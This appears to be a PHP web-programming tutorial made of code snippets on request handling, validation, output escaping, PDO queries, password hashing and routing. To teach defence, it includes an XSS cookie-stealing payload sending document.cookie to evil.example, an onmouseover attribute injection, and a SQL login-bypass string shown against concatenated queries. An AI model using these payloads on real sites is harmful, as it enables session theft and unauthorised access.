PHP for the Web

<?php
declare(strict_types=1);

/** @return array{int, array<string,string>, string} status, headers, body */
function handle(string $method, string $uri): array
{
    $path = parse_url($uri, PHP_URL_PATH);
    parse_str(parse_url($uri, PHP_URL_QUERY) ?? '', $query);

    if ($method === 'GET' && $path === '/hello') {
        $name = htmlspecialchars($query['name'] ?? 'world');
        return [200, ['Content-Type' => 'text/html'], "<h1>Hello, $name!</h1>"];
    }
    return [404, ['Content-Type' => 'text/plain'], 'Not Found'];
}

foreach ([['GET', '/hello?name=Asha'], ['GET', '/hello'], ['POST', '/hello'], ['GET', '/admin']] as [$m, $u]) {
    [$status, $headers, $body] = handle($m, $u);
    echo "$m $u -> $status {$headers['Content-Type']} | $body\n";
}

<?php
// On the command line the superglobals are (almost) empty, so fill them
// the way PHP would for: POST /signup?ref=ad with a form body.
$_SERVER['REQUEST_METHOD'] = 'POST';
$_SERVER['REQUEST_URI'] = '/signup?ref=ad';
$_GET = ['ref' => 'ad'];
$_POST = ['name' => '  Asha ', 'age' => '29', 'topics' => ['php', 'sql']];

function readSignup(): array
{
    // superglobals are visible inside functions without "global"
    return [
        'method' => $_SERVER['REQUEST_METHOD'],
        'ref' => $_GET['ref'] ?? 'direct',
        'name' => trim($_POST['name'] ?? ''),
        'age' => $_POST['age'] ?? null,
        'topics' => $_POST['topics'] ?? [],
        'newsletter' => isset($_POST['newsletter']),     // unchecked boxes are simply absent
    ];
}

var_dump(readSignup());

<?php
declare(strict_types=1);

function validateSignup(array $in): array
{
    $errors = [];
    $clean = [];

    $clean['email'] = filter_var(trim($in['email'] ?? ''), FILTER_VALIDATE_EMAIL);
    if ($clean['email'] === false) {
        $errors['email'] = 'Enter a valid email address.';
    }

    $clean['age'] = filter_var($in['age'] ?? '', FILTER_VALIDATE_INT, ['options' => ['min_range' => 16, 'max_range' => 120]]);
    if ($clean['age'] === false) {
        $errors['age'] = 'Age must be a whole number from 16 to 120.';
    }

    $clean['site'] = filter_var($in['site'] ?? '', FILTER_VALIDATE_URL) ?: null;

    // "yes"/"on"/"1"/"true" -> true, "no"/"off"/"0"/"false"/"" -> false, anything else -> null
    $clean['newsletter'] = filter_var($in['newsletter'] ?? 'no', FILTER_VALIDATE_BOOL, FILTER_NULL_ON_FAILURE);

    $name = trim($in['name'] ?? '');
    if ($name === '' || mb_strlen($name) > 50) {
        $errors['name'] = 'Name is required (max 50 characters).';
    }
    $clean['name'] = $name;

    return [$clean, $errors];
}

[$ok, $errors] = validateSignup(['name' => 'Asha', 'email' => ' [email protected] ', 'age' => '29', 'newsletter' => 'on']);
var_dump($errors === [], $ok['email'], $ok['age'], $ok['newsletter']);

[, $errors] = validateSignup(['name' => '', 'email' => 'asha@', 'age' => '12abc']);
print_r($errors);

<?php
declare(strict_types=1);

function e(?string $s): string        // the one-letter helper every PHP project has
{
    return htmlspecialchars($s ?? '', ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

$comment = '<script>fetch("https://evil.example/?c=" + document.cookie)</script>';
$name = 'O\'Brien" onmouseover="alert(1)';
$search = 'tea & coffee/2';

echo "raw:     <p>$comment</p>\n";                 // DANGEROUS
echo "escaped: <p>", e($comment), "</p>\n";
echo '<input value="', e($name), '">', "\n";
echo '<a href="/search?q=', urlencode($search), '">', e($search), "</a>\n";
echo '<script>const user = ', json_encode(['name' => '</script>'], JSON_HEX_TAG | JSON_THROW_ON_ERROR), ";</script>\n";

<?php
declare(strict_types=1);

$db = new PDO('sqlite::memory:', options: [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
]);
$db->exec('CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT NOT NULL, email TEXT UNIQUE, role TEXT)');

$insert = $db->prepare('INSERT INTO users (name, email, role) VALUES (:name, :email, :role)');
$db->beginTransaction();
foreach ([['Asha', '[email protected]', 'admin'], ['Ravi', '[email protected]', 'user'], ['Meera', '[email protected]', 'user']] as [$n, $e, $r]) {
    $insert->execute(['name' => $n, 'email' => $e, 'role' => $r]);
}
$db->commit();
echo "last id: ", $db->lastInsertId(), "\n";

$find = $db->prepare('SELECT id, name FROM users WHERE email = ?');
$find->execute(['[email protected]']);
print_r($find->fetch());

$byRole = $db->prepare('SELECT name FROM users WHERE role = :role ORDER BY name');
$byRole->execute(['role' => 'user']);
echo implode(', ', $byRole->fetchAll(PDO::FETCH_COLUMN)), "\n";

$count = $db->query('SELECT COUNT(*) FROM users')->fetchColumn();
echo "users: $count\n";

try {
    $insert->execute(['name' => 'Copy', 'email' => '[email protected]', 'role' => 'user']);
} catch (PDOException $e) {
    echo "rejected: ", $e->getMessage(), "\n";
}

<?php
$db = new PDO('sqlite::memory:');
$db->exec("CREATE TABLE users (name TEXT, password_hash TEXT)");
$db->exec("INSERT INTO users VALUES ('asha', 'h1'), ('ravi', 'h2')");

$input = "nobody' OR '1'='1";                  // typed into a login form

// WRONG: the input becomes part of the SQL
$sql = "SELECT name FROM users WHERE name = '$input'";
echo $sql, "\n";
echo "concatenated: ", count($db->query($sql)->fetchAll()), " rows\n";

// RIGHT: the input is only ever a value
$stmt = $db->prepare('SELECT name FROM users WHERE name = ?');
$stmt->execute([$input]);
echo "prepared:     ", count($stmt->fetchAll()), " rows\n";

<?php
$hash = password_hash('correct horse battery staple', PASSWORD_DEFAULT);

// The hash is different on every run (random salt), so only its shape is printed
echo substr($hash, 0, 7), "... (", strlen($hash), " chars)\n";

var_dump(password_verify('correct horse battery staple', $hash));
var_dump(password_verify('Correct horse battery staple', $hash));

$again = password_hash('correct horse battery staple', PASSWORD_DEFAULT);
var_dump($again === $hash);                      // same password, different hash
var_dump(password_verify('correct horse battery staple', $again));

print_r(password_get_info($hash));
var_dump(password_needs_rehash($hash, PASSWORD_DEFAULT, ['cost' => 13]));

<?php
declare(strict_types=1);

final class Router
{
    private array $routes = [];

    public function add(string $method, string $pattern, Closure $handler): void
    {
        // "/users/{id}" -> "#^/users/(?<id>[^/]+)$#"
        $regex = '#^' . preg_replace('#\{(\w+)\}#', '(?<$1>[^/]+)', $pattern) . '$#';
        $this->routes[] = [$method, $regex, $handler];
    }

    public function dispatch(string $method, string $path): array
    {
        $allowed = [];
        foreach ($this->routes as [$m, $regex, $handler]) {
            if (!preg_match($regex, $path, $match)) {
                continue;
            }
            if ($m !== $method) {
                $allowed[] = $m;
                continue;
            }
            $params = array_filter($match, 'is_string', ARRAY_FILTER_USE_KEY);
            return [200, $handler(...$params)];
        }
        return $allowed ? [405, 'Method Not Allowed'] : [404, 'Not Found'];
    }
}

$users = [7 => 'Asha', 8 => 'Ravi'];
$router = new Router();
$router->add('GET', '/', fn() => 'Home');
$router->add('GET', '/users/{id}', fn(string $id) => 'User ' . ($users[(int) $id] ?? 'unknown'));
$router->add('POST', '/users', fn() => 'Created');
$router->add('GET', '/posts/{slug}/comments/{n}', fn(string $slug, string $n) => "Comment $n on $slug");

foreach ([['GET', '/'], ['GET', '/users/7'], ['GET', '/users/99'], ['DELETE', '/users/7'],
          ['GET', '/posts/php-8/comments/3'], ['GET', '/nope']] as [$m, $p]) {
    [$status, $body] = $router->dispatch($m, $p);
    printf("%-6s %-25s %d %s\n", $m, $p, $status, $body);
}